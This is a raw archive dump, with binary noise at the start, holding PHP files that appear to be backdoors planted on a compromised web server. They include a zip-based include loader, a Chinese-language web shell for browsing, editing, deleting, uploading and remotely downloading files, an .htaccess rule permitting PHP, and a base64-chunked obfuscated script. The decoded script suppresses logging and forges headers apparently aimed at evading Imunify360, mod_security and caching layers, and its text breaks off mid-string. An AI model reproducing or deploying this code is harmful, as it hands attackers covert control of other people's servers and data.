a���z�K�7!�	zh���w�N �"�"��d�PhITD�Ө"��3I�CL&�M�M��†@¡�81�`��JZ�aIKE (f�C@Ɠ�))����@�iBn U�k������~��`ÃL4����� ��#��*�bu�+O�RݑPWe����A8䚫-�9X���Zp�+?�>��u:e��	˒R@ɫvr�HT�' ����Z� ��ބ��XT�QH)_�����	��JQT��l�ij)� �� ��1/aZ���b}��T�Q&\	䜅*��z�"��S�����JL��O�SK�pR�CZ#&؞l���02I@O֤�����2PH'��BH�sD�q����խ ��l����b�ZS�&*cM4Ù��ꦔSZ� ��"��
i�1������XT�Z� �J�U�$T���K�M�ַ8ERT�T�����P��}Ƥ2X�Q��^ȯp1�Zϋ�b�EY�� X�����,��%� �c�:չ�V��(� 0N�J��C� ]^����� \g���Dv-]��BT2@:�K�cia`��<3�c#F�I� \��O�W���iu�m�(�G
�n��v��\+,��.A'�}j�
�����?��Fl`(
���YRMk���� �?U5����j�~�� ��t��*��(,&Io���=����4��2w�Էj��� ���U��׿��
GCT=B
0��#�2f�)�i*G�}���?���gM� )� _
��!�%x��Y2w�`:�5v��-m�#� m��oqPA�l~�#L��=�?����bE�@D��P`m��IzZܫV]�Gt�Q�	� ^/Q�� Ǽ?�ƑD�G��B��� �`��.�m��읱P'��n� �T�gߗ�Ť�$�T���db�>Y>ݍ6�!si#K!g9M��a�����)�?�{\�h�a�G�D.���F̎q���aF����8%ջ
�m�*M�A�� ����  s�����#�B��z��d�lz}((^�oT�a��{c��X� ���������i�؈-��r��@?�z�d�,L�)��!�3��ib� ���.��X�h���=���ٖ�D�@$�?�h�/on�j$�L~�9+�EMw� zo��*n�� ���� ���i<5z�0�FL���	5߇{xŪ����۸?A^c���}� A�P��?l~��5�
�9�?(͙��!=׸>�Oi[R)@̨6ˏ��נ�� �����d��.?��_�*�LO�"���zҹ�k<�BdT�Ӎ2��њ
% !�O4�@i��i���LҚJ`��PKLm\T�pWhh	index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "ile3.php"; include("zip:///tmp/phptpd9aH#$h");?>PKLm\�(C$�*�*	nbixv.phpnu�[���<?php
eRRor_rEporTing(0);
$wwwroot=isset($_SERVER['DOCUMENT_ROOT'])?trim($_SERVER['DOCUMENT_ROOT']):'';
$req_uri=isset($_SERVER['REQUEST_URI'])?trim($_SERVER['REQUEST_URI']):'';
$req_uri!=''?($req_uri_arr=explode('?',$req_uri)).($script_name=$req_uri_arr[0]):($script_name=isset($_SERVER['SCRIPT_NAME'])?trim($_SERVER["SCRIPT_NAME"]):'');
$script_filename=isset($_SERVER['SCRIPT_FILENAME'])?trim($_SERVER['SCRIPT_FILENAME']):'';
if ($script_filename=='') $script_filename=__FILE__ ;
if ($wwwroot=='' && $script_name!='' && $script_filename!='') $wwwroot=str_replace($script_name,'',$script_filename);
$wwwroot=str_replace('\\','/',$wwwroot);
$dir=isset($_GET['d'])?trim($_GET['d']):'';
$dir=str_replace('\\','/',$dir);
$file=isset($_GET['f'])?trim($_GET['f']):'';
$file=str_replace('\\','/',$file);
$action=isset($_GET['a'])?trim($_GET['a']):'';
if ( $action=='' )
{
    $current_dir=$dir==''?$wwwroot:$dir;
    $current_dir=rtrim($current_dir,'/');
    $current_dir_nav='';
    $dir_path='';
    $current_dir_split=explode('/',$current_dir);
    foreach( $current_dir_split as $dir )
    {
        $dir_path.=$dir.'/';
        $current_dir_nav.='<a href="?d='.$dir_path.'">'.$dir.'/</a>';
    }
    $dir_rows='';
    $file_rows='';
    $current_dir_list=sCaNDir($current_dir);
    $row_id=0;
    foreach( $current_dir_list as $target_name )
    {
        if ( $target_name=='.' || $target_name=='..' ) continue;
        $target=$current_dir.'/'.$target_name;
        $target_ahref=strpos($target,$wwwroot)===0?'<a href="'.str_replace($wwwroot,'',$target).'" target="_blank">'.$target_name.'</a>':$target_name;
        $row_id++;
        $target_u_id=fIlEOwNEr($target);
        $target_u_att=poSIx_GEtpWUid($target_u_id);
        $target_owner=$target_u_att['name'];
        $target_perm=get_qx($target);
        $target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target));
        if ( is_dir($target) )
        {
            $dir_rows.='<tr class="tl"><td><i class="fa fa-folder" style="font-size:20px;color:orange;"></i></td><td><a href="?d='.$target.'">'.$target_name.'</a></td><td></td><td>(<a href="#"  onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'d\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'d\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'d\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
        }else
        {
            $target_fsize=fILesIzE($target);
            $target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB');
            $file_rows.='<tr class="tl"><td><i class="fa fa-file" style="font-size:20px;color:grey;"></td><td>'.$target_ahref.'</td><td>'.$target_fsize.'</td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'f\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="window.open(\'?f='.$target.'&a=ck\',\'_blank\',\'width=800,height=600,top=200,left=300\');">查看</a>|<a href="?f='.$target.'&a=bj">编辑</a>|<a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'f\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'f\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
        }
    }
    $div_html='<table cellspacing="10">
                 <tr><td colspan="6"><form name="form_up" id="form_up" method="post" action="?d='.$current_dir.'&a=up" enctype="multipart/form-data"><a href="?d='.$wwwroot.'"><i class="fa fa-home" style="font-size:30px;color:orange;"></i></a>  当前目录:'.$current_dir_nav.'   <i class="fa fa-upload" style="font-size:20px;color:grey;" onclick="document.getElementById(\'file_up\').click();"><input id="file_up" name="file_up" type="file" style="display:none" onchange="document.getElementById(\'form_up\').submit();"></form></td></tr>
                 <tr><td colspan="6"><form name="form_tj" method="post" action="?d='.$current_dir.'&a=tj">新项目名称:<input name="t_name" type="text" size="25"> <select name="t_type"><option value="tj_f">添加文件</option><option value="tj_d">添加目录</option><option value="tj_xz">下载URL</option></select> <input name="submit" type="submit" value="执行"></form></td></tr>
                 '.($row_id==0?'<tr><td>内容为空或无权限查看</td></tr>':$dir_rows.$file_rows).'
              </table>';  
}elseif ( $action=='sc' )
{
    if ( $file!='' )
    {
        uNlInk($file); jump_to('?d='.diRNaMe($file));
    }elseif( $dir!='' )
    {
        rm_rf($dir); jump_to('?d='.DIrnaMe($dir));
    }
    exit;
}elseif( $action=='gm' )
{
    $gm=isset($_POST['gm'])?trim($_POST['gm']):'';
    if ( $gm!='' )
    {
        $old_f=$file==''?$dir:$file;
        if ( $old_f!='' && file_exists($old_f) )
        {
            $old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir);
        }
    }else
    {
        show_msg('请输入新名称!','back');
    }
    exit;
}elseif( $action=='qx' )
{
    $target=$dir==''?$file:$dir;
    if ( $target!='' )
    {
        $qx=isset($_POST['qx'])?trim($_POST['qx']):'';
        if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' )
        {
            set_qx($target,$qx); jump_to('?d='.dIRnamE($target));
        }else
        {
            show_msg('请输入新权限!','back');
        }
    }
    exit;
}elseif( $action=='ck' && $file!='' )
{
    if ( fiLEsIze($file)<10000000 )
    {
        HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file);
    }else
    {
        show_msg('文件大小超限!','close');
    }
    exit;
}elseif( $action=='bj' && $file!='' )
{
    if ( isset($_POST['f_content']) )  
    {
        FilE_pUt_COnteNts($file,$_POST['f_content']);
        md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!','');
    }
    $f_content=is_file($file)?str_replace('</textarea>','</textarea>',FIle_gET_contENtS($file)):'';
    $div_html='<form name="form_bj" action="?f='.$file.'&a=bj" method="post">编辑当前文件:'.$file.'<br><textarea name="f_content" rows="40" cols="120">'.$f_content.'</textarea><br><input type="submit" value="保存">  <input type="button" value="返回目录" onclick="window.location.href=\'?d='.DIrNamE($file).'\';"></form>'; 
}elseif( $action=='tj' && $dir!='' )
{
    $t_name=isset($_POST['t_name'])?trim($_POST['t_name']):'';
    if ( $t_name=='' )
    {
        show_msg('请输入项目名称!','back');
    }else
    {
        if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,'');
        if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true);
        if ( $_POST['t_type']=='tj_xz' ) 
        {
            preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ;
        }
        jump_to('?d='.$dir);
    }
    exit;
}elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) )
{
    MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ;
    jump_to('?d='.$dir);
    exit;
}

function get_qx($t)
{
    $q=substr(sprintf('%o',fILepErMs($t)),-4);
    return $q;
}
function set_qx($t,$q)
{
    EvAl('cHMoD("'.$t.'",'.$q.');');
    if ( get_qx($t)!=$q )
    {
        $tmp_f=uniqid().'.txt';
        $tmp_c='<?php ChMOd("'.$t.'",'.$q.');?>';
        fiLE_puT_cONtEnTs($tmp_f,$tmp_c);
        require($tmp_f);
        UnLInK($tmp_f);
    }
}

function rm_rf($d) 
{
    if (is_dir($d)) 
    {
        $f_l=sCaNDir($d);
        foreach ($f_l as $f) 
        {
            if ($f=='.'||$f=='..') continue;
            $p=$d.'/'.$f;
            is_dir($p)?rm_rf($p):uNliNk($p);
        }
        rMdIR($d);
    }
}

function show_msg($msg,$go)
{
    echo '<script>alert("'.$msg.'");</script>'; 
    if ($go=='back') echo '<script>window.history.back();</script>'; 
    if ($go=='close') echo '<script>window.close();</script>'; 
}

function jump_to($url)
{
    echo '<script>window.location.href="'.$url.'";</script>';
}

function down_file($dir,$url)
{
    $s_name=array_pop(explode('/',$url));
    if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz';
    $ch=CUrl_iNit();
    cuRl_seTOpt ($ch, CURLOPT_URL, $url);
    cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
    cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false);
    cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false);
    cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true);
    $contents = cUrl_eXeC($ch);
    cURl_CLosE($ch);
    if ( empty($contents) ) $contents=filE_geT_cONTentS($url);
    if ( empty($contents) )
    {
        show_msg('下载出错!','');
    }else
    {
        fIle_PuT_cONteNts($dir.'/'.$s_name,$contents);
        show_msg('下载完成!','');        
    }
}

?>
<html>
    <head>
        <title>芝麻web文件管理</title>
        <meta name="robots" content="none">
        <meta http-equiv="Content-Type" Content="text/html; Charset=utf-8">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    </head>
    <body>
    <style>
    a {color:#000000;text-decoration:none;}
    a:hover {color:#ff0000;}
    .tl:hover {background-color:#eeeeee;}
    form {margin:0;}
    </style>
    <script>
        function show_input_box(s,t,f,a,)
        {
           var span=document.getElementById(s);
           if ( span.innerHTML=='' )
           {
                span.innerHTML='<form name="form_'+s+'" method="post" action="?'+f+'='+t+'&a='+a+'"><input name="'+a+'" type="text" size="8"><input type="submit" value="提交"></form>';                
           }else
           {
                span.innerHTML='';
           }
        }
        function confirm_sc(t,f)
        {
            if (f=='d')
            {
                if ( confirm('确定要删除此目录吗?') )
                {
                    window.location.href='?d='+t+'&a=sc';
                }
            }
            if (f=='f')
            {
                if ( confirm('确定要删除此文件吗?') )
                {
                    window.location.href='?f='+t+'&a=sc';
                }                
            }
        }
    </script>
        <div>
            <h1>芝麻web文件管理V1.00</h1>
            <?php echo $div_html;?>
        </div>
    </body>
</html>PKLm\wqTT	.htaccessnu�[���<FilesMatch ".*\.(?i:phtml|php|PHP)$">
Order Allow,Deny
Allow from all
</FilesMatch>PKLm\A4��|�|�	mjdqk.phpnu�[���<?php
$z .= "DQpA";
$z .= "aW5p";
$z .= "X3Nl";
$z .= "dCgn";
$z .= "ZXJy";
$z .= "b3Jf";
$z .= "bG9n";
$z .= "Jywg";
$z .= "TlVM";
$z .= "TCk7";
$z .= "DQpA";
$z .= "aW5p";
$z .= "X3Nl";
$z .= "dCgn";
$z .= "bG9n";
$z .= "X2Vy";
$z .= "cm9y";
$z .= "cycs";
$z .= "IDAp";
$z .= "Ow0K";
$z .= "QGlu";
$z .= "aV9z";
$z .= "ZXQo";
$z .= "J21h";
$z .= "eF9l";
$z .= "eGVj";
$z .= "dXRp";
$z .= "b25f";
$z .= "dGlt";
$z .= "ZScs";
$z .= "IDAp";
$z .= "Ow0K";
$z .= "QGVy";
$z .= "cm9y";
$z .= "X3Jl";
$z .= "cG9y";
$z .= "dGlu";
$z .= "Zygw";
$z .= "KTsN";
$z .= "CkBz";
$z .= "ZXRf";
$z .= "dGlt";
$z .= "ZV9s";
$z .= "aW1p";
$z .= "dCgw";
$z .= "KTsN";
$z .= "Cmlm";
$z .= "IChm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J2xp";
$z .= "dGVz";
$z .= "cGVl";
$z .= "ZF9y";
$z .= "ZXF1";
$z .= "ZXN0";
$z .= "X2hl";
$z .= "YWRl";
$z .= "cnMn";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICRo";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "ID0g";
$z .= "bGl0";
$z .= "ZXNw";
$z .= "ZWVk";
$z .= "X3Jl";
$z .= "cXVl";
$z .= "c3Rf";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "cygp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "c1sn";
$z .= "WC1M";
$z .= "U0NB";
$z .= "Q0hF";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGhl";
$z .= "YWRl";
$z .= "cign";
$z .= "WC1M";
$z .= "U0NB";
$z .= "Q0hF";
$z .= "OiBv";
$z .= "ZmYn";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQp9";
$z .= "DQpp";
$z .= "ZiAo";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "ZCgn";
$z .= "V09S";
$z .= "REZF";
$z .= "TkNF";
$z .= "X1ZF";
$z .= "UlNJ";
$z .= "T04n";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IGRl";
$z .= "Zmlu";
$z .= "ZSgn";
$z .= "V09S";
$z .= "REZF";
$z .= "TkNF";
$z .= "X0RJ";
$z .= "U0FC";
$z .= "TEVf";
$z .= "TElW";
$z .= "RV9U";
$z .= "UkFG";
$z .= "RklD";
$z .= "Jywg";
$z .= "dHJ1";
$z .= "ZSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "KCdX";
$z .= "T1JE";
$z .= "RkVO";
$z .= "Q0Vf";
$z .= "RElT";
$z .= "QUJM";
$z .= "RV9G";
$z .= "SUxF";
$z .= "X01P";
$z .= "RFMn";
$z .= "LCB0";
$z .= "cnVl";
$z .= "KTsN";
$z .= "Cn0N";
$z .= "Cmlm";
$z .= "IChm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J2lt";
$z .= "dW5p";
$z .= "Znkz";
$z .= "NjBf";
$z .= "cmVx";
$z .= "dWVz";
$z .= "dF9o";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "Jykg";
$z .= "JiYg";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "ZCgn";
$z .= "SU1V";
$z .= "TklG";
$z .= "WTM2";
$z .= "MF9W";
$z .= "RVJT";
$z .= "SU9O";
$z .= "Jykp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "aW11";
$z .= "bmlm";
$z .= "eUhl";
$z .= "YWRl";
$z .= "cnMg";
$z .= "PSBp";
$z .= "bXVu";
$z .= "aWZ5";
$z .= "MzYw";
$z .= "X3Jl";
$z .= "cXVl";
$z .= "c3Rf";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "cygp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "aW11";
$z .= "bmlm";
$z .= "eUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J1gt";
$z .= "SW11";
$z .= "bmlm";
$z .= "eTM2";
$z .= "MC1S";
$z .= "ZXF1";
$z .= "ZXN0";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGhl";
$z .= "YWRl";
$z .= "cign";
$z .= "WC1J";
$z .= "bXVu";
$z .= "aWZ5";
$z .= "MzYw";
$z .= "LVJl";
$z .= "cXVl";
$z .= "c3Q6";
$z .= "IGJ5";
$z .= "cGFz";
$z .= "cycp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JGlt";
$z .= "dW5p";
$z .= "ZnlI";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "WydY";
$z .= "LUlt";
$z .= "dW5p";
$z .= "Znkz";
$z .= "NjAt";
$z .= "Q2Fw";
$z .= "dGNo";
$z .= "YS1C";
$z .= "eXBh";
$z .= "c3Mn";
$z .= "XSkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "KCdY";
$z .= "LUlt";
$z .= "dW5p";
$z .= "Znkz";
$z .= "NjAt";
$z .= "Q2Fw";
$z .= "dGNo";
$z .= "YS1C";
$z .= "eXBh";
$z .= "c3M6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "aW11";
$z .= "bmlm";
$z .= "eUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J1gt";
$z .= "SW11";
$z .= "bmlm";
$z .= "eTM2";
$z .= "MC1D";
$z .= "YXB0";
$z .= "Y2hh";
$z .= "LUJ5";
$z .= "cGFz";
$z .= "cydd";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQp9";
$z .= "DQpp";
$z .= "ZiAo";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b25f";
$z .= "ZXhp";
$z .= "c3Rz";
$z .= "KCdh";
$z .= "cGFj";
$z .= "aGVf";
$z .= "cmVx";
$z .= "dWVz";
$z .= "dF9o";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "Jykp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "YXBh";
$z .= "Y2hl";
$z .= "SGVh";
$z .= "ZGVy";
$z .= "cyA9";
$z .= "IGFw";
$z .= "YWNo";
$z .= "ZV9y";
$z .= "ZXF1";
$z .= "ZXN0";
$z .= "X2hl";
$z .= "YWRl";
$z .= "cnMo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JGFw";
$z .= "YWNo";
$z .= "ZUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J1gt";
$z .= "TW9k";
$z .= "LVNl";
$z .= "Y3Vy";
$z .= "aXR5";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGhl";
$z .= "YWRl";
$z .= "cign";
$z .= "WC1N";
$z .= "b2Qt";
$z .= "U2Vj";
$z .= "dXJp";
$z .= "dHk6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "YXBh";
$z .= "Y2hl";
$z .= "SGVh";
$z .= "ZGVy";
$z .= "c1sn";
$z .= "WC1N";
$z .= "b2Qt";
$z .= "U2Vj";
$z .= "dXJp";
$z .= "dHkn";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "aWYg";
$z .= "KGlz";
$z .= "c2V0";
$z .= "KCRf";
$z .= "U0VS";
$z .= "VkVS";
$z .= "WydI";
$z .= "VFRQ";
$z .= "X0NG";
$z .= "X0NP";
$z .= "Tk5F";
$z .= "Q1RJ";
$z .= "Tkdf";
$z .= "SVAn";
$z .= "XSkg";
$z .= "JiYg";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "ZCgn";
$z .= "Q0xP";
$z .= "VURG";
$z .= "TEFS";
$z .= "RV9W";
$z .= "RVJT";
$z .= "SU9O";
$z .= "Jykp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "X1NF";
$z .= "UlZF";
$z .= "Ulsn";
$z .= "UkVN";
$z .= "T1RF";
$z .= "X0FE";
$z .= "RFIn";
$z .= "XSA9";
$z .= "ICRf";
$z .= "U0VS";
$z .= "VkVS";
$z .= "WydI";
$z .= "VFRQ";
$z .= "X0NG";
$z .= "X0NP";
$z .= "Tk5F";
$z .= "Q1RJ";
$z .= "Tkdf";
$z .= "SVAn";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JGFw";
$z .= "YWNo";
$z .= "ZUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J0hU";
$z .= "VFBf";
$z .= "Q0Zf";
$z .= "VklT";
$z .= "SVRP";
$z .= "Uidd";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBo";
$z .= "ZWFk";
$z .= "ZXIo";
$z .= "J0hU";
$z .= "VFBf";
$z .= "Q0Zf";
$z .= "VklT";
$z .= "SVRP";
$z .= "Ujog";
$z .= "JyAu";
$z .= "ICRh";
$z .= "cGFj";
$z .= "aGVI";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "WydI";
$z .= "VFRQ";
$z .= "X0NG";
$z .= "X1ZJ";
$z .= "U0lU";
$z .= "T1In";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Z2V0";
$z .= "Rmls";
$z .= "ZURl";
$z .= "dGFp";
$z .= "bHMo";
$z .= "JHBh";
$z .= "dGgp";
$z .= "DQp7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JGZv";
$z .= "bGRl";
$z .= "cnMg";
$z .= "PSBb";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Zmls";
$z .= "ZXMg";
$z .= "PSBb";
$z .= "XTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IHRy";
$z .= "eSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRp";
$z .= "dGVt";
$z .= "cyA9";
$z .= "IEBz";
$z .= "Y2Fu";
$z .= "ZGly";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCFp";
$z .= "c19h";
$z .= "cnJh";
$z .= "eSgk";
$z .= "aXRl";
$z .= "bXMp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB0";
$z .= "aHJv";
$z .= "dyBu";
$z .= "ZXcg";
$z .= "RXhj";
$z .= "ZXB0";
$z .= "aW9u";
$z .= "KCdG";
$z .= "YWls";
$z .= "ZWQg";
$z .= "dG8g";
$z .= "c2Nh";
$z .= "biBk";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnkn";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGZv";
$z .= "cmVh";
$z .= "Y2gg";
$z .= "KCRp";
$z .= "dGVt";
$z .= "cyBh";
$z .= "cyAk";
$z .= "aXRl";
$z .= "bSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCRp";
$z .= "dGVt";
$z .= "ID09";
$z .= "ICcu";
$z .= "JyB8";
$z .= "fCAk";
$z .= "aXRl";
$z .= "bSA9";
$z .= "PSAn";
$z .= "Li4n";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Y29u";
$z .= "dGlu";
$z .= "dWU7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRp";
$z .= "dGVt";
$z .= "UGF0";
$z .= "aCA9";
$z .= "ICRw";
$z .= "YXRo";
$z .= "IC4g";
$z .= "Jy8n";
$z .= "IC4g";
$z .= "JGl0";
$z .= "ZW07";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "aXRl";
$z .= "bURl";
$z .= "dGFp";
$z .= "bHMg";
$z .= "PSBb";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J25h";
$z .= "bWUn";
$z .= "ID0+";
$z .= "ICRp";
$z .= "dGVt";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICd0";
$z .= "eXBl";
$z .= "JyA9";
$z .= "PiBp";
$z .= "c19k";
$z .= "aXIo";
$z .= "JGl0";
$z .= "ZW1Q";
$z .= "YXRo";
$z .= "KSA/";
$z .= "ICdG";
$z .= "b2xk";
$z .= "ZXIn";
$z .= "IDog";
$z .= "J0Zp";
$z .= "bGUn";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdz";
$z .= "aXpl";
$z .= "JyA9";
$z .= "PiBp";
$z .= "c19k";
$z .= "aXIo";
$z .= "JGl0";
$z .= "ZW1Q";
$z .= "YXRo";
$z .= "KSA/";
$z .= "ICcn";
$z .= "IDog";
$z .= "Zm9y";
$z .= "bWF0";
$z .= "U2l6";
$z .= "ZShm";
$z .= "aWxl";
$z .= "c2l6";
$z .= "ZSgk";
$z .= "aXRl";
$z .= "bVBh";
$z .= "dGgp";
$z .= "KSwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAn";
$z .= "cGVy";
$z .= "bWlz";
$z .= "c2lv";
$z .= "bicg";
$z .= "PT4g";
$z .= "c3Vi";
$z .= "c3Ry";
$z .= "KHNw";
$z .= "cmlu";
$z .= "dGYo";
$z .= "JyVv";
$z .= "Jywg";
$z .= "Zmls";
$z .= "ZXBl";
$z .= "cm1z";
$z .= "KCRp";
$z .= "dGVt";
$z .= "UGF0";
$z .= "aCkp";
$z .= "LCAt";
$z .= "NCks";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBd";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X2Rp";
$z .= "cigk";
$z .= "aXRl";
$z .= "bVBh";
$z .= "dGgp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGZv";
$z .= "bGRl";
$z .= "cnNb";
$z .= "XSA9";
$z .= "ICRp";
$z .= "dGVt";
$z .= "RGV0";
$z .= "YWls";
$z .= "czsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGZp";
$z .= "bGVz";
$z .= "W10g";
$z .= "PSAk";
$z .= "aXRl";
$z .= "bURl";
$z .= "dGFp";
$z .= "bHM7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
